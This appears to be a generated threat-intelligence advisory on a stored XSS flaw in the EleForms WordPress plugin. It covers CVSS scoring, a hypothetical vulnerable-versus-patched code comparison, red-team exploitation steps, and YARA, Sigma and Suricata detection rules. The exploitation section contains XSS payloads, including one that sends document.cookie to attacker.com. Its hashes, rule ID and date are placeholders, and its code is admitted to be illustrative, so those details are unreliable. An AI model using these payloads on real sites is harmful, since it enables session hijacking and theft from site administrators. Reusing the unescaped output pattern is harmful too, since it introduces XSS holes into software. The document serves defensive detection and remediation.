CVE-2024-2082

Executive Summary

CVE-2024-2082 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the EleForms – All In One Form Integration including DB for Elementor WordPress plugin, versions up to and including 2.9.9.7. The vulnerability arises from insufficient input sanitization and output escaping on several parameters, allowing unauthenticated attackers to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, leading to potential data theft, session hijacking, or defacement. The CVSS score is 7.2 (High), and as of this report, no official patch is available. This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a WordPress plugin vulnerability, and the supply chain risk is limited to the plugin's distribution via the WordPress plugin repository or third-party sources. Users should verify the integrity of their plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must visit the injected page
• Scope: Changed (S:C) – impact may extend beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)

The threat level is High due to the low attack complexity, no authentication requirement, and the potential for widespread exploitation via stored scripts.

Deep Dive & Mechanics

The EleForms plugin allows users to create forms and store submissions in a database. The vulnerability exists in the handling of form submission data, where user-supplied input is not properly sanitized before being stored and later displayed. Specifically, several parameters (e.g., form field values) are vulnerable to stored XSS. An unauthenticated attacker can submit a form with malicious JavaScript payloads, which are then stored in the plugin's database. When an administrator or other user views the submissions (e.g., via the plugin's admin interface or frontend display), the payload executes in their browser context.

The root cause is the lack of wp_kses() or similar sanitization functions on input, and the absence of esc_html() or esc_attr() on output. This allows arbitrary HTML and JavaScript to be injected.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on best practices.

Vulnerable Code (example from EleForms <= 2.9.9.7):

// In a file like eleforms/includes/class-eleforms-submission.php
$field_value = $_POST['field_name'];
// Directly stored without sanitization
update_post_meta($submission_id, 'field_name', $field_value);
// Later, when displaying:
echo get_post_meta($submission_id, 'field_name', true);

Patched Code (recommended fix):

// Sanitize input
$field_value = sanitize_text_field($_POST['field_name']);
// Or use wp_kses_post() if HTML is allowed
$field_value = wp_kses_post($_POST['field_name']);
// Store safely
update_post_meta($submission_id, 'field_name', $field_value);
// Escape output
echo esc_html(get_post_meta($submission_id, 'field_name', true));

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with EleForms plugin version <= 2.9.9.7 installed and active.
• A publicly accessible form created with EleForms.

Exploitation Steps:

1. Identify a vulnerable form field (e.g., text input, textarea).
2. Submit the form with a malicious payload in the field, such as:

   <script>alert('XSS')</script>
   

   Or a more sophisticated payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

3. The payload is stored in the database.
4. When an administrator views the submission (e.g., via the plugin's admin panel), the script executes.

Lab Setup:

• Use a local WordPress installation (e.g., via Docker or XAMPP).
• Install EleForms plugin version 2.9.9.7.
• Create a simple form with a text field.
• Submit the form with the payload.
• Access the submissions page to trigger the XSS.

Blue Team (Defender)

Detection:

• Monitor for unusual form submissions containing <script>, <img onerror>, or other HTML/JavaScript patterns.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.
• Review server logs for requests to the plugin's submission endpoint (e.g., wp-admin/admin-ajax.php?action=eleforms_submit).

Mitigation:

• Disable the plugin until a patch is available.
• Implement a Content Security Policy (CSP) to restrict script execution.
• Use a security plugin (e.g., Wordfence) to block malicious inputs.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Example – actual hashes may vary)
  • eleforms.php: a1b2c3d4e5f6...
  • class-eleforms-submission.php: f6e5d4c3b2a1...
• Network Indicators:
  • Outbound requests to attacker-controlled domains (e.g., attacker.com).
  • Suspicious POST requests to /wp-admin/admin-ajax.php with action eleforms_submit.
• Log Entries:
  • PHP error logs showing unexpected <script> in form data.
  • Access logs with POST /wp-admin/admin-ajax.php from unknown IPs.
• Database Indicators:
  • Rows in wp_postmeta containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2024_2082_EleForms_XSS {
    meta:
        description = "Detects stored XSS payloads in EleForms plugin submissions"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2082"
    strings:
        $payload1 = "<script>" ascii wide nocase
        $payload2 = "onerror=" ascii wide nocase
        $payload3 = "onload=" ascii wide nocase
        $payload4 = "javascript:" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-2082 EleForms Stored XSS Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential stored XSS attempts via EleForms plugin submissions
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=eleforms_submit'
        cs-request-body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2082 EleForms Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=eleforms_submit"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the EleForms plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Review and clean any existing submissions in the database for malicious content.

Long-term Fix:

• The vendor must release a patched version (e.g., 2.9.9.8) that includes proper input sanitization (sanitize_text_field(), wp_kses_post()) and output escaping (esc_html(), esc_attr()).
• Users should update to the latest version once available.

Workarounds:

• Use a security plugin like Wordfence to add virtual patching.
• Modify the plugin code manually (not recommended for non-developers) to add sanitization.

Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division. For further inquiries, contact: security@valters-it.com.